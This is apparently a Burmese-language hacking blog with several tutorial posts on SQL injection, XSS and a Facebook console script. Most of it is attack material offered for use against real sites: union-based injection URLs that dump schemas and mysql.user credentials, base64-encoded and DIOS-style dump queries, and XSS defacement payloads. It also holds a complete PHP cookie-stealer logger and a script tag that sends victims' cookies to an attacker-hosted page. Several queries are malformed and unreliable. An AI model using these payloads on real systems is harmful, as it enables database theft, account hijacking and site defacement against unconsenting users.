January 30, 2014

Getting Data from Multiple Database

#############################
Beginner ေတြအတြက္ရည္ရြယ္ပါတယ္။ ဖိုရမ္ထဲမွာ လည္းေရးထားတာမေတြ႕တာနဲ႕ ေရးလိုက္တာပါ။
ပထမဆံုးအေနနဲ႕ ေျပာခ်င္တာက က်ေနာ္ တို႕ ဒါကို ဘယ္လိုေနရာမွာသံုးမွာလဲ?
user နဲ႕ပတ္သက္တဲ႕ table မေတြ႕တဲ့အခါမိ်ဳးမွာ စမ္းသံုးနိုုင္တယ္။
က်ေနာ္ တို႕ ဆိုက္တဆိုက္ကို column အေရအတြက္သိၿပီး တဲ့ အဆင့္ကစမယ္
http://www.site.com/product.php?id=3' ဒီဆိုက္မွာ column အေရအတြက္ ၅ ခုရွိတယ္ဆိုပါေတာ့
က်ေနာ္ တို႕ ေအာက္က code နဲ႕ ပံုမွန္အတိုင္း inject လုပ္ၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--
အဲလို inject လုပ္တဲ့အခါမွာ user table မေတြ႕ဘူးျဖစ္တတ္ပါတယ္။
ဒီလိုအခါမ်ိဳးမွာ က်ေနာ္ တို႕ ခုနည္းကိုသိထားမယ္ဆိုရင္ေတာ့ စမ္းၾကည့္လို႕ရနိုင္တာေပါ့။
ခုက်ေနာ္ တို႕ကို ထုတ္ေပးတဲ့ table name ေတြက default database ဒါမွမဟုတ္ current database ထဲကေနထုတ္တာပါ။
ဒီေတာ့က်ေနာ္ တို႕ database ဘယ္နခုရွိလဲ အရင္ဆံုးသိေအာင္ျပန္လုပ္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata--
ဒီ code ကိုသံုးလိုက္ရင္ schema_name ကိုသိရမယ္။
ဥပမာ information_schema နဲ႕ mysql ဆိုၿပီး ၂ ခုရွိတယ္ဆိုပါစို႕။ဘယ္ဟာက default database လည္းဆိုတာ သိရေအာင္
ေအာက္က code ေလးသံုးၿပီး စမ္းၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(database()),5--
အဲလိုစမ္းလို႕ ေတြ႔ရတဲ့ database ဟာ default database ပါဘဲ
ဥပမာ information_schema ကိုျပတယ္ဆိုပါေတာ့။က်ေနာ္ တို႕ mysql ထဲက ေန ထပ္ထုတ္ၾကည့္မယ္။
သံုးရမယ္ query က
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xHEXmysql--
0x ရဲ႕ေနာက္မွာ mysql ရဲ႕ hex value ကိုထည့္ရမယ္
ဒါဆိုက်ေနာ္ တို႕ user table ေတြ႔နိုင္ပါတယ္
တကယ္လို႕ ေတြ႔ခဲ့ပီဆိုရင္ column ရွာဖို႔အတြက္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema=0xHEXmysql and table_name=0xHEXtable_name--
table_name ေနရာမွာ ကိုယ္လိုခ်င္တဲ့ table ကိုထည့္ေပ့ါ
ေနာက္ဆံုး data ေတြကို ထုတ္မယ္ ဆိုရင္ေတာ့ database_name.table_name ကိုသံုးရမယ္
ေအာက္က လို query မိ်ဳးျဖစ္သြားမယ္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(username,0x3a,password),5 from mysql.user--
ဒီလိုမ်ိဳးနည္းနဲ႕ က်ေနာ္တို႕ စမ္းနိုင္ပါတယ္
အဆင္ေျပမယ္ထင္ပါတယ္ ဒီက်ဴတို ကို က်ေနာ္ ဘယ္က ယူလာမွန္းေတာ့ မသိေတာ့ဘူး
HF ကလို႕ေတာ့ထင္ပါတယ္

January 22, 2014

[tut]SQL Basic Part 1[/tut]

ဒါကေတာ့ SQL Injection မဟုတ္ပါဘူး SQL သီးသန္႔ပါ
SQL injection ထိုးမယ္ဆိုတဲ့သူေတြအတြက္သိကိုသိထားသင့္တယ္ က်ဴတိုတခုပါ
ဘာလို႔ဆို ကုိယ့္ကိုယ္ပိုင္ query ေတြလည္းထိုးတတ္လာေအာင္ပါ။ က်ေနာ္ လည္းေလ့လာေနဆဲပါ
ခုေတာ့ တတ္သေလာက္ေဖာထားတာပါ။
SQL ဆိုတာ Structured Query Language လို႕ေခၚပါတယ္။ Query ေတြနဲ႕ တည္ေဆာက္ထားတဲ့ computer ဘာသာစကားတခုလို႔ပဲလြယ္လြယ္မွတ္ထားတာေပါ့။ Database ဆိုတာ web အပိုင္းကိုေလ့လာတဲ့သူဆိုရင္ဘယ္ေလာက္အေရးပါလဲဆိုတာသိမွာပါ။
ဒီေတာ့ သူ႔မွာရွိတဲ့ query ေလးေတြကို က်ေနာ္ ေအာက္မွာ တခုခ်င္းရွင္းျပထားပါတယ္
####################################################
Some of The Most Important SQL Commands

    SELECT - extracts data from a database
    UPDATE - updates data in a database
    DELETE - deletes data from a database
    INSERT INTO - inserts new data into a database
    CREATE DATABASE - creates a new database
    ALTER DATABASE - modifies a database
    CREATE TABLE - creates a new table
    ALTER TABLE - modifies a table
    DROP TABLE - deletes a table
    CREATE INDEX - creates an index (search key)
    DROP INDEX - deletes an index

SQL SELECT STATEMENT
ွSQL SELECT ကိုဘယ္လိုေနရာေတြမွာသံုးမလဲ
က်ေနာ္ တို႔ data ေတြကို extract လုပ္တဲ့ေနရာမွာသံုးပါတယ္
ပံုစံကေတာ့
SELECT (ဒီေနရာမွာ ကိုယ္လိုခ်င္တဲ့  data name)
FROM   (ဒီေနရာမွာ table name )
WHERE (ဒါကေတာ့ condition ကိုထည့္ရမယ္) ;
Condition ဆိုတာကေတာ့ data ဟာ ဘယ္လိုျဖစ္ရမယ္ ဘာညာကိုေျပာခ်င္တာပါ
တကယ္လို႔ SELECT ရဲ႕ေနာက္မွာ *ေလးထည့္လိုက္မယ္ဆိုရင္ေတာ့ ရွိသမွ်အားလံုးကို extract လုပ္မယ္ဆိုတဲ့ သေဘာပါ။

ဟုတ္ၿပီ ေနာက္တခုက DISTINCT ဒီေကာင္ကို ဘယ္လိုသံုးမလဲ
သူ႕ကိုေတာ့ က်ေနာ္ တို႕ SELECT ရဲ႕ ေနာက္မွာ ထည့္ၿပီးသံုးပါတယ္
သေဘာတရားကေတာ့ Different နဲ႕တူပါတယ္။
ပံုစံက
SELECT DISTINCT column_name FROM (column); ဒီလိုမ်ိဳးပါ

WHERE အေၾကာင္းေျပာမယ္ သူက condition ထည့္တာလို႕ အေပၚမွာ ေျပာထားပါတယ္
ဘယ္လိုထည့္တာလဲ ဆိုရင္
SELECT * FROM (table_name) WHERE column_name="value";
ဥပမာ user table ထဲက password ဆိုတဲ့ column ရွိမယ္ အဲ့ထဲက mgmg ဆိုတဲ့ data ကိုဆြဲထုတ္မယ္ဆိုပါေတာ့။
SELECT * FROM user WHERE password='mgmg';
ဒီလိုပံုစဲမ်ိဳးေလးျဖစ္သြားမယ္ character ဆိုရင္ ' ' ထဲမွာ ထည့္ေရးပီး numeric ဆိုရင္ေတာ့ မလိုပါဘူး။

AND/OR ကိုဘယ္လိုသံုးမလဲ
ဒါကိုေတာ့ က်ေနာ္ တို႕ က WHERE ရဲ႕ေနာက္က condition စစ္တဲ့ေနရာမွာသံုးပါတယ္။
AND ရဲ႕သေဘာက condition 2 ခုရွိမယ္ အဲ့ condition 2ခုလံုးနဲ႔ မွန္တဲ့ data ကိုဘဲထုတ္မယ္။
OR ကေတာ့ condition 2 ခုမွာ တခုမွန္ခဲ့မယ္ဆိုရင္ထုတ္ေပးမယ္။
AND ကိုသံုးတဲ့ ပံုုစံက
SELECT *
FROM table_name
WHERE column_name=1
AND column_name=2;

OR ကိုသံုးတဲ့ ပံုစံက
SELECT *
FROM table_name
WHERE column_name=1
OR column_name=2;

ၿပီးေတာ့ ၂ ခုစလံုးကို သံုးၿပီး condition စစ္မယ္
SELECT *
FROM table_name
WHERE column_name=1
AND (column_name=2 OR column_name=3);
ဒီလိုမ်ိဳးေပါ့ ဆိုလိုတာကေတာ့ column_name က 1 နဲ႕ညီေနရမယ္ ေနာက္ 3 ဒါမွမဟုတ္ 4 နဲ႕ ညီေနတဲ့ data ကိုဆြဲထုတ္မယ္ဆိုတဲ့သေဘာပါ။

ORDER BY
ORDER BY ကိုေတာ့ sorted data ေတြကိုဆြဲထုတ္တဲ့ အခါမွာသံုးမယ္
ပံုစံကေတာ့
SELECT column_name
FROM table_name
ORDER BY column_name;
ဒါကိုနားလည္ေအာင္ၾကည့္မယ္။ user table ရွိတယ္ ေနာက္ column အေနနဲ႔ username ရယ္ id ရယ္ရွိမယ္။
ဒါဆိုရင္က်ေနာ္တို႕ က username ကို id နဲ႕ sort လုပ္ထားတဲ့ data ကိုျမင္ခ်င္တယ္ဆိုပါစို႔။
SELECT username
FROM user
ORDER BY id ASC/DESC; ကိုသံုးမယ္။ ASC ဆိုတာက asecending DESC ကေတာ့ descending ကိုေျပာခ်င္တာပါ။

INSERT
ဒါကိုနားလည္ၾကည့္ၾကတာေပါ့ INSERT ရဲ႕လုပ္ေဆာင္ခ်က္ကေတာ့ ထပ္ေပါင္းထည့္တာေပါ့
ဘယ္လိုထပ္ေပါင္းလဲသိရေအာင္ ေအာက္ကသူ႕ရဲ႕ ပံုစံေလးကိုအရင္ၾကည့္လိုက္မယ္
INSERT
INTO        table_name(column_name1,column_name2)
VALUE  (value1,value2);
ဒါကို ျပန္ၾကည့္မယ္။ INSERT ရဲ႕ေနာက္မွာ ဘာမွထည့္စရာမလိုပါဘူး။
INTO က ဘယ္ကိုထည့္မွာလဲ column_name ကိုထည့္ေပးမယ္။ေနာက္ဆံုးက VALUE ကေတာ့ ကိုယ့္ထည့္ခ်င္တဲ့ data ေပါ့
database ထဲမွာ user ဆိုတဲ့ table ထဲက username နဲ႕ password ေကာ္လံရွိတယ္ဆိုပါစို႕။က်ေနာ္ တို႔ ကထပ္ေပါင္းထည့္ခ်င္တယ္။ထည့္ခ်င္တာက username=4Rd4m-injector , password=msf
ဒီေတာ့ က်ေနာ္ တို႕ query ကဒီလိုျဖစ္သြားမယ္
INSERT
INTO user(username,password)
VALUE ('4Rd4m-injector','msf');

UPDATE
modify လုပ္မယ္
ေအာက္က code ကိုအရင္ၾကည့္ပါ
UPDATE table_name
SET column_name1='value1',column_name2='value2'
WHERE column_name3='condition';
နားလည္ေအာင္ၾကည့္မယ္
UPDATE ေနာက္က ကိုယ္modify လုပ္မယ့္ table name ထည့္မယ္
SET ျပင္မယ္ ဘယ္လိုျပင္မလဲဆိုတာထည့္ေပးရမယ္
WHERE ဘယ္ေနရာက ဟာကိုျပင္မယ္ဆိုတာထည့္္ေပးမယ္
Database ထဲမွာ user table ရွိမယ္ အဲ့ထဲမွာ username,password နဲ႕ id ဆိုတဲ့ ေကာ္လံေတြရွိမယ္
က်ေနာ္တို႔ျပင္ၾကည့္မယ္ဒါဆို
UPDATE  user
SET     username='4Rd4m-injector',password='msf'
WHERE id=1;

ေက်းဇူးတင္ပါတယ္ ခုလိုအခ်ိန္ယူၿပီးဖတ္ေပးလို႔
ဆက္ေရးပါဦးမယ္ ေနာက္အပိုင္းေတြကို
မၾကာမီလာမည္

Facebook request ေတြscript နဲ႕ acccept လုပ္မယ္



က်ေနာ္ တို႕ ဒီတိုင္းလုပ္လည္းရေတာ့ရတာေပါ့ေနာ္။ဟိဟ
ဒါေပမယ့္ သိထားေတာ့လည္းအက်ိဳးေတာ့မယုတ္ပါဘူး
1# https://www.facebook.com/reqs.php ကိုသြားလိုက္မယ္
    အဲမွာ က်ေနာ္ တို႕ request ေတြအားလံုးကို ျမင္ရမယ္
2# CTRL+Shift+J နဲ႕ Consloe ကိုေခၚလိုက္ပါ။
3#ေအာက္က code ကို ကူးၿပီး console ထဲမွာ paste လုပ္ၿပီး enter ေခၚလိုက္တာနဲ႔ အားလံုးကိုသူ႔အလိုလို accept လုပ္သြားလိမ့္မယ္
    ##################################################################################################
    javascript:for( i = 1;i<document.getElementsByName("actions[accept]").length;i++){document.getElementsByName("actions[accept]")[i].click();}void(0);
    ##################################################################################################

January 20, 2014

XSS Basic



What is XSS?
XSS ရဲ႕ အရွည္ေကာက္က ေတာ့ Cross Site Scripting ပါ။X ဆိုတာ က Cross ကို
ကိုယ္စားျပဳၿပီးထည့္ထားတာဆိုပါေတာ့ ။ဒီေတာ့ CSS လို႕လည္းေခၚၾကပါတယ္။
Defination ကေတာ့ HTML & JavaScript Code ေတြကို Site ကို input အေနနဲ႕ ထည့္လိုက္
တာပါ။
What is Cookie?
သိတယ္မလား။စားေနက် ေလ ဟိဟိ။ ဒါကေတာ့ စားစရာ မဟုတ္ပါဘူး။က်ေနာ္ တို႔ ဆိုက္ေတြကို
Login ၀င္ထားတဲ့ အခ်ိန္မွာ Cookie ေတြနဲ႕ save ထားၾကပါတယ္။
Cookie ေတြ အမ်ိဳးမ်ိဳးရွိၾကပါတယ္။ Temporary သံုးတဲ့ cookie ေတြရွိသလို အခ်ိန္တခုမွာ သူ႔အလိုလို
ဖ်က္ပစ္လိုက္တဲ့ cookie ေတြ လည္းရွိတယ္။ေနာက္တခု က ကုိယ္ မဖ်က္မခ်င္းမပ်က္တဲ့ cookie
ေတြလည္းရွိတယ္။
Cookie ေတြ ထဲ ကေန က်ေနာ္ တို႔ login username  ေတြ password ေတြရနိုင္တယ္။
FB acc ေတြေတာင္ရနိုင္ပါတယ္။
Types of XSS
ပံုမွန္အားျဖင့္ေတာ့ XSS က ၃ မ်ိဳးရွိတယ္။ ဒါေပမယ့္ ကိုဒုတ္ကေတာ့ ေနာက္တခုရွိေသးတယ္ လို႕ေျပာပါတယ္
က်ေနာ္ မသိေသးလို႔ ထည့္မေရးေတာ့ဘူး။
1.     Non-persistance XSS
2.     Persistance XSS
3.     Dom-based XSS
ဆိုၿပီး ရွိတယ္။

1.Non-persistance XSS

ဒါကေတာ့ က်ေနာ္တို႕ inject လုပ္ေနတဲ့ အခ်ိန္မွာ ပဲ အလုပ္လုပ္ပါတယ္။
No permanent ေပါ့။အသံုးလည္းမမ်ားပါဘူး။က်ေနာ္ တို႔လိုတာလည္းဒါမဟုတ္ပါဘူး
ဘာလိုတာလဲဆိုေတာ့

2.Persistance XSS

ဒါကေတာ့ permanent ျဖစ္တယ္ေပါ့။ က်ေနာ္တို႕ cookie ေတြဆီကေန users ေတြကိုရနိုင္ပါတယ္
Cookie Steal တဲ့ code ေတြကိုထည့္လိုက္နိုင္ပီဆိုရင္ က်ေနာ္ တို႕ link ေတြ account ေတြကို
ခိုးယူနိုင္ပါတယ္

3.Dom-based XSS

ဒါလည္း maciliouse code ေတြကို inject လုပ္ရင္ permanent ျဖစ္ႏိုင္တယ္။
Result ေတြကေတာ့ မထင္ထားတာေတြလည္း ျဖစ္ပါတယ္။
တခ်ိဳ႕ဆိုက္ေတြမွာ code ေတြလည္းအလုပ္မလုပ္တာရွိတယ္။
Checking Vulnerability
Vulnerable ျဖစ္မျဖစ္ဘယ္လိုသိနိုင္မလဲ
shoutbox, searchbox, forums, comment space, blogs, login place, many more...
အေပၚက ေနရာေတြမွာ က်ေနာ္ တို႔ ေအာက္က script ေတြကို ထည့္ၾကည့္မယ္
<script>alert(“XSS”)</script>
ဆိုၿပီးထည့္လိုက္မယ္ဆို alert box ေလးက်တယ္ဆိုရင္ XSS Vulnerability ျဖစ္ေနပါတယ္။
ဒါေပမယ့္ တခ်ိဳ႕ဆိုက္ေတြမွာ XSS ဆိုတဲ့ စာကို WAF က block ထားတတ္ပါတယ္။
တျခားစာေတြထည့္ၾကည့္လိုက္ေပါ့။ကိုယ့္နာမည္ကိုယ္ထည့္လိုက္ေလ ဟိဟိ


How to deface?
Deface လုပ္ခ်င္ရင္ေတာ့ ေအာက္က code ေလးထည့္လိုက္ေပါ့။
<script>window.open("http://www.yoursite.com/")</script>
http://www.yoursite.com/ ဆိုတဲ့ေနရာမွာ ကိုယ္ deface page ရဲ႕ link ကိုထည့္ေပးရပါမယ္။

ပံုေတြေပၚခ်င္တယ္ဆိုရင္ေတာ့
<img src=“image url here”></img>

ဆိုက္မွာ ဘာမွမေပၚေတာ့ဘဲနဲ႕ ကိုယ့္ ေပၚခ်င္တဲ့ စာသား ကိုထည့္ခ်င္ရင္
<b> You got own by real steel!</b>
ကုိသံုးနိုင္ပါတယ္

Cookie Stealing
က်ေနာ္တို႕ cookie stealer တခုေတာ့လိုပါတယ္။
<?php

function GetIP()
{
    if (
getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  
$ip getenv("HTTP_CLIENT_IP");
    else if (
getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  
$ip getenv("HTTP_X_FORWARDED_FOR");
    else if (
getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  
$ip getenv("REMOTE_ADDR");
    else if (isset(
$_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  
$ip $_SERVER['REMOTE_ADDR'];
    else
  
$ip "unknown";
    return(
$ip);
}

function 
logData()
{
    
$ipLog="log.txt";
    
$cookie $_SERVER['QUERY_STRING'];
    
$register_globals = (bool) ini_get('register_gobals');
    if (
$register_globals$ip getenv('REMOTE_ADDR');
    else 
$ip GetIP();

    
$rem_port $_SERVER['REMOTE_PORT'];
    
$user_agent $_SERVER['HTTP_USER_AGENT'];
    
$rqst_method $_SERVER['METHOD'];
    
$rem_host $_SERVER['REMOTE_HOST'];
    
$referer $_SERVER['HTTP_REFERER'];
    
$date=date ("l dS of F Y h:i:s A");
    
$log=fopen("$ipLog""a+");

    if (
preg_match("/\bhtm\b/i"$ipLog) || preg_match("/\bhtml\b/i"$ipLog))
  
fputs($log"IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
  
fputs($log"IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    
fclose($log);
}

logData();

?>

အေပၚက code ကို ကူးလိုက္ပါ။
ျပီးရင္ yourname.php file နဲ႕ log.txt file ၂ ခုကို ေဆာက္လိုက္ပါ။
ေနာက္ yourname.php ထဲကို အေပၚက ကူးထားတဲ့ code ကို ထည့္လိုက္ပါ။
Hosting တခုခု မွာ  file ၂ ခုစလံုးကို သြားတင္လိုက္ပါ။

<script language= "JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
က်ေနာ္ တို႔ဒီcode ကို သြင္းလိုက္မယ္။

January 18, 2014

Base64 Encode/Decode in SQLi

########################################################################
Base64 encode/deccode inSQLi
########################################################################
က်ေနာ္ တို႔တခါတေလ မွာ SQLi ထိုးရင္းနဲ႔ တခ်ိဳ႔ဆိုက္ေတြမွာ base64 encode/decode ေတြကိုသံုးရတတ္ပါတယ္
ဘယ္လိုေနရာေတြမွာ သံုးမလဲ ေလ့လာၾကည့္မယ္
http://www.site.com/producit.php?pid=Mw==
ဒီဆိုက္ ဆိုပါဆို႔
' နဲ႕ ပံုမွန္အတိုင္း error တက္မတက္ စစ္လိုက္ရင္ ဘာ error မွ တက္လာမွာမဟုတ္ပါဘူး။ဟုတ္ၿပီ က်ေနာ္ တို႔ဒီလိုအခါမိ်ဳးမွာသံုးပါမယ္။
တခါတေလ ဒီတိုင္းမျဖစ္လည္း ထိုးမရဘူး ဆို စမ္းၾကည့္လိုက္ေပါ့။ က်ေနာ့္ ထက္ very senior ကိုႀကီး တေယာက္ကေတာ့ ေျပာတယ္။
ဆိုက္ structure ကိုၾကည့္ပီးေတာ့ လည္းသိနိုင္ပါတယ္ တဲ့။ က်ေနာ္ ေတာ့မသိပါဘူး ဟိဟိ
မသိလို႔ ဒီအေၾကာင္းေတာ့မရွင္းေတာ့ဘူး။သိတဲ့ခါက် ေဖာတာေပါ့ဗ်ာ

Requirements အေနနဲ႕ က်ေနာ္ တို႔ firefox Hack Bar ေလးေတာ့လိုလိမ့္မယ္ထင္တယ္။
ဒီမွာသြားေဒါင္းလိုက္ပါ။

ဟုတ္ၿပီ က်ေနာ္ တို႔မွာ  hack bar လည္းရွိၿပီ ဆိုဆက္သြားမယ္။
http://www.site.com/producit.php?pid=Mw==
ဒီဆိုက္မွာ pid=Mw== ဆိုတာကနည္းနည္းထူးျခားတယ္ ေနာ္
ပံုမွန္ဆို pid= ရဲ႕ေနာက္မွာ number တခုခု ျဖစ္ေနၾက မဟုတ္လား
ဒီေတာ့ က်ေနာ္ တို႕ pid= ရဲ႕ ေနာက္က ဟာေတြကို select မွတ္မယ္
ၿပီးရင္ hack bar မွာ Encoding-->base64 decode ဆိုတာကိုနွိပ္လိုက္မယ္။
ဒီေတာ့ က်ေနာ္တို႔ 3 ဆိုပီးေပၚ လာတာကိုေတြ႕ရမယ္
ဒါဆို 3 ေပါ့ 3' ကို Hack bar မွာ Encoding-->base64 encode လုပ္။ၿပီးရင္ execute လုပ္လိုက္ရင္ error ေတြကိုျမင္နိုင္ပါၿပီ။
ေနာက္ union select တို႔ဘာတို႕လဲ ဒီလိုပဲ base64 encode လုပ္ၿပီး execcute လုပ္လုိက္ေပါ။
ဒါဆိုရင္က်ေနာ္ တို႔ ရသြားနိုင္ပါတယ္။
#########################################################################################
Credit to: Ajkaro
Regards: 4Rd4m-injector

#########################################################################################

January 17, 2014

Playing with SQLi output data

#############################################################
Playing with SQLi output data
#############################################################
ဒီက်ဴတို ကိုဖတ္မယ္ဆိုရင္ အရင္ဆံုးစာဖတ္သူအေနနဲ႔ Union Based Injection ေလာက္ေတာ့ ပိုင္နိုင္ေနဖို႕လိုပါတယ္။
Step #1
က်ေနာ္ တို႔ table ေတြကိုအရင္ဆံုး dump လုပ္မယ္ ။ ပံုမွန္ က်ေနာ္တို႔ table နွိုက္ထုတ္တဲ့ command နဲ႔ေတာ့မတူပါဘူး
ဘာလို႔လဲဆို ရင္က်ေနာ္တို႔ php code ေတြကိုသံုးမွာမို႔ိလို႔ပါ။
code ကေတာ့ ေအာက္မွာ ျပထားပါတယ္။

(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)

ဟုတ္ပီ ဒီ comment ကိုက်ေနာ္တို႔ထည့္မယ္။php သေဘာတရားကိုေတာ့ က်ေနာ္ လည္း သိပ္မသိပါဘူး။ဒါေပမယ့္ က်ေနာ္
တို႔ က database ထဲက ေန table ေတြကိုဆြဲ ထုတ္ပီး table name ေတြကို concat နဲ႔ web ေပၚမွာ ေပၚေအာင္ေရးတယ္ဆိုတာေလာက္ေတာ့
သိထားရပါမယ္။
query အျပည့္အစံုက ဘယ္လိုျဖစ္မလဲ ဒါဆို
code :
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)),4,5--
ဒီလိုဆိုရင္က်ေနာ္တို႕ table name ေတြကို web ေပၚမွာ ျမင္နိုင္ပါၿပီ။
Step #2
ဟုတ္ၿပီ က်ေနာ္ တို႔ table ေတြကို အခု ေစာေစာကလို ဆြဲမထုတ္ေတာ့ဘူး
table အလိုက္ record ေတြကိုပါ တခါတည္း နိွုက္ထုတ္မယ္။
သံုးရမယ့္ query က

(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,
if( table_rows>10, concat(0x3c62723e, table_name, table_rows), 0x00)
))))x)

က်ေနာ္ တို႔ဒီ code ကို နားလည္ေအာင္ၾကည့္မယ္။php သေဘာတရားေတာ့က်ေနာ္လည္းမရဘူးေနာ္။
ခု ဒီ query မွာေစာေစာက query နဲ႔ ဘာကြာလဲဆိုတာၾကည့္ေတာ့ if() function တခုပိုလာတာကိုေတြ႕ရတယ္။
if function ကိုဘယ္လိုသံုးထားသလဲ?
if (some_condition , condition is true , condition is false)
သေဘာတရားကေတာ့ရွင္းပါတယ္
some_condition ဆိုတာ က condition ကိုစစ္မယ္။ table_rows>10 ဆိုတဲ့ condition
 if condition true ဆိုရင္ concat(0x<br>,table_name,table_rows) ဆိုပီး ထုတ္လုိက္မယ္
ဆိုလိုတာကေတာ့ table_rows က 10 ထက္ႀကီးေနမယ္ဆိုရင္ line 1 လုိင္းဆင္းၿပီး table name ေတြ table row ေတြကိုထုတ္လိုက္မယ္ဆိုတဲ့သေဘာပါ
ေနာက္ဆံုး condition false ဆိုရင္ေတာ့ 0x00 ဆိုတာ null နဲ႔ညီပါတယ္ ဒီေတာ့ ဘာမွမလုပ္ဖူးေပါ့
ဒီေလာက္ဆို if() function ကိုနားလည္မယ္ထင္ပါတယ္

query အျပည့္အစံုကေတာ့ ဒီလိုျဖစ္သြားမယ္

code:
http://www.site.com/product/php?id=3 union select 1,2,concat((select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,)if( table_rows>10,concat(0x3c6273e, table_name, table_rows)))x)),4,5--

ဒါဆိုရင္ table ေတြရဲ႔ေဘးမွာ record ေတြပါတြဲ ေပၚလာမယ္
ဒါေပမယ့္ တဆက္တည္းျဖစ္ေနမယ္ ဒါေၾကာင့္ကိုယ္ေပၚခ်င္တဲ့စာသားကို ေရွ႔မွာ 0x ေလးခံၿပီး ့hex တန္ဖိုးေျပာင္းၿပီးရင္
table_rows နဲ႕ table_name ၾကားမွာ ထည့္လိုက္မယ္ ။-->records in table--> ဘာညာေရးက်ပါတယ္

Step #3
က်ေနာ္ ပံုမွန္အားျဖင့္ေတာ့ step 2 ေလာက္ဆိုလံုေလာက္ပါၿပီ။ဒါေပမယ့္ တခ်ို႕challenge ေတြမွာက်ေတာ့ task ေတြမ်ားတယ္ေလ
ဥပမာ။  ။   Task: record in  tables with align (not use html code)
ဒီလို task ေလးေတြရွိပါတယ္ က်ေနာ္ တို႔ပံုမွန္အတိုင္းဆို html code ေလးေတြနဲ႔ align=center ဘာညာနဲ႔လုပ္လို႔ရပါတယ္
html code ကိုလည္း မသံုးရဘူးဆိုေတာ့ ဘာဆက္လုပ္က်မလဲ
ဘာမွစိတ္မပူပါနဲ႔ က်ေနာ္ ajkaro ဆီက မလာတဲ့က်ဴတိုေတြရွိပါတယ္
ဒီေတာ့ က်ေနာ္ ဆက္ေဖာမယ္ ဟိဟိ
ဒီအဆင့္မွာ အဆင့္ ၃ ဆင့္ရွိပါတယ္  repeat() ထည့္မယ္။ font ကို courier ေျပာင္းမယ္
ဟုတ္ၿပီဆက္သြားမယ္
ပထမဆံုး repeat () function ကုိ table_name ရဲ႔ေနာက္မွာထားမယ္
repeat(0x266e6273703b, 15-length(table_name))
266e6273703b ဆိုတာက &nbsp; ရဲ႕ hex တန္ဖိုးပါ။
&nbsp; ဆိုတာ hard space တန္ဖိုးပါ ဒီေတာ့ ဆိုလိုရင္းက hard space ကို character 15 လုံုးစာ table_name ရဲ႕ေနာက္မွာထားမယ္ေပါ့
code က ဒီလိုမ်ိဳးျဖစ္သြားမယ္
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)), table_rows)))x)
ဒါဆိုရင္ ပံုစံေျပာင္းသြားၿပီ ဒါေပမယ့္ မရေသးဘူး ဟိဟိ
က်ေနာ္ တို႔ က table_name ေတြကို ဘယ္ဘက္ table_rows ေတြကိုက်ေတာ့ ညာဘက္ေပၚခ်င္တာ။အဆင္ေျပရင္ေတာ့ ပံုထည့္ေပးပါမယ္
ဆက္သြားမယ္ table_rows ရဲ႕ ေရွ႕မွာ
repeat(0x266e6273703b, 15-length(table_rows)) ကိုထည့္မယ္ ။ဆုိလိုရင္းကိုေတာ့ အေပၚမွာရွင္းၿပီးၿပီဆိုေတာ့
code က
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုမ်ိဳးျဖစ္သြားမယ္ ေနာ္
ေနာက္ဆံုးအေနနဲ႔ က်ေနာ္တို႔ font ခ်ိန္းမယ္။ 0x3c666f6e7420666163653d636f75726965723e ဒါကေတာ့
<font face=courier> ရဲ႕ hex တန္ဖိုးပါ။ ဒီတန္ဖိုးကို က်ေနာ္တို႔ if() ေရွ႕မွာ ထည့္မယ္
ေနာက္ဆံုး query ကဒီလိုျဖစ္သြားမယ္။
(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c666f6e7420666163653d636f75726965723e, if( table_rows>10,
concat(0x3c6273e, table_name,repeat(0x266e6273703b, 15-length(table_name)),repeat(0x266e6273703b, 15-length(table_rows)), table_rows)))x)
ဒီလိုဆိုရင္ေတာ့ က်ေနာ္တို႕ေနာက္ဆံုး လိုခ်င္တဲ့ ပံုစံရသြားပါၿပီ။ ။
########################################################################
Credit to : Ajkaro
Regards : 4Rd4m-injector
########################################################################
ေက်းဇူးတင္ပါတယ္ မွားေနတာေလးမ်ားရွိရင္လည္း ၀င္ေဆြးေႏြးသြားၾကပါဦး မာမီတို႔ :bh:


January 10, 2014

My challenge 1 [easy] Solution

